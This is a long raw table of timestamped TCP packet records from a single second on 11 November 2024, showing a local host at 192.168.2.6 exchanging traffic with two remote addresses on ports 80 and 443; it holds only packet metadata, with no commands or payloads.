Nov 11, 2024 12:40:29.124795914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124806881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124813080 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124819040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124838114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124841928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124856949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124865055 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124867916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124874115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124886036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124898911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124907017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124911070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124916077 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124923944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.124950886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.124986887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125000954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125010967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125077963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125087976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125098944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125108957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125112057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125128031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125128984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125140905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125148058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125154972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125164986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125166893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125180006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125190973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125195026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125207901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125221014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125227928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125231981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125245094 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125245094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125257969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125288963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125315905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125339031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125351906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125363111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125374079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125386953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125387907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125400066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125411987 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125412941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125427008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125430107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125447035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125475883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125511885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125524998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125535011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125546932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125557899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125569105 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125571012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125583887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125591993 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125595093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125607967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125614882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125634909 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125653028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125668049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125670910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125684977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125691891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125695944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125709057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125719070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125722885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125745058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125766993 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125785112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125797987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125817060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125828981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125833988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125858068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125881910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.125932932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125947952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125961065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.125993013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.126004934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.127974033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.127985954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.127996922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128019094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128035069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128052950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128077030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128264904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128276110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128287077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128308058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128315926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128328085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128339052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128350019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128350973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128361940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128374100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.128377914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128388882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.128416061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129324913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129337072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129348040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129359007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129370928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129374981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129383087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129398108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129403114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129410982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129422903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129440069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129451990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129457951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129462957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129472017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129476070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129487038 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129488945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129508018 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129528046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129565954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129615068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129626036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129664898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129673958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129678965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129689932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129704952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129723072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129723072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129749060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129908085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129919052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129929066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129947901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129951954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129960060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129972935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.129976988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.129995108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130027056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130080938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130093098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130104065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130115986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130126953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130127907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130146980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130150080 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130175114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130188942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130203962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130266905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130269051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130278111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130290031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130301952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130312920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130314112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130328894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130351067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130352974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130363941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130374908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130378962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130393982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130397081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130405903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130418062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130424976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130431890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130444050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130455017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130460978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130469084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130481005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130487919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130491972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130511999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130537033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130573988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130585909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130597115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130609035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130611897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130621910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130634069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130635977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130645037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130661964 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130662918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130675077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130686998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130687952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130705118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130706072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130717993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130728006 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130729914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130743027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130753994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130754948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130768061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130776882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130784988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130798101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130825043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130827904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130840063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130851984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130872965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130894899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.130954981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130966902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.130968094 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.130978107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131017923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131088018 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.131094933 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.131103992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131115913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131128073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131139994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131151915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131154060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131162882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131172895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131175041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131186962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131187916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131211042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131237984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131239891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131251097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131263018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131273985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131283998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131292105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131331921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131339073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131344080 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.131383896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131396055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131414890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131428003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131434917 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.131438971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131438971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131447077 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.131450891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131462097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131470919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131474972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131479979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131494045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131501913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131529093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131567955 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.131577015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131587029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131599903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131612062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131623030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131630898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131632090 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.131634951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131656885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131669998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131751060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131757021 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.131763935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131774902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131787062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131793976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131794930 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.131800890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131814003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131823063 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131824970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131836891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131850958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131871939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.131958008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131975889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.131994009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132006884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132019043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132030010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132030010 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.132045031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132055044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132065058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132066965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.132077932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132087946 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.132088900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.132117987 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.132145882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.132237911 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.132258892 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.132297039 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.132302999 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.132399082 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.132430077 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.132457018 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.132458925 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.132649899 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.132941008 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.136073112 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.136081934 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.136960983 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.136972904 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.137296915 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.137309074 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.137336969 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.137620926 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.137634039 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.137703896 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.140247107 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.140259981 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.140734911 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.140746117 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.144961119 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.144977093 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.145390987 CET	49900	443	192.168.2.6	104.117.182.56
